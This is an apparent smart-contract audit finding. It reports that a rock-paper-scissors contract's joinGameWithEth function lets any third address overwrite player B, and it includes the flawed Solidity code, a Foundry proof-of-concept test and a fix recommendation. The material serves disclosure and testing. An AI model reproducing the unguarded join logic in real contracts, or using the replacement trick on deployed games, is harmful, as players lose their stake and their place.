Summary
I found that anyone ( let call it player X ) can replace player B that join the game
Vulnerability Details
when player A created the game, and player B joins, there's no any state update that determines player B has join and no one can join this game which will make player X to join and replace player B
in https://github.com/CodeHawks-Contests/2025-04-rock-paper-scissors/blob/25cf9f29c3accd96a532e416eee6198808ba5271/src/RockPaperScissors.sol#L154
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Impact
Attacker can join and replace player B which will make him to lose his fee and lost the chance of winning the game
Tools Used
Manual review
POC
Use the below function and add to /test/RockPaperScissorsTest.t.sol
function testJoinGameWithEthPlayerX() public {
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
address playerX = makeAddr("playerX");
vm.deal(playerX, 10 ether);
vm.startPrank(playerX);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerX);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerX);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
then run the test with foundry
using
forge test --mt testJoinGameWithEthPlayerX
If the test pass then it is vulnerable
Recommendations
Add state update after playerB joins the game and check for it whenever the function was called with the same gameId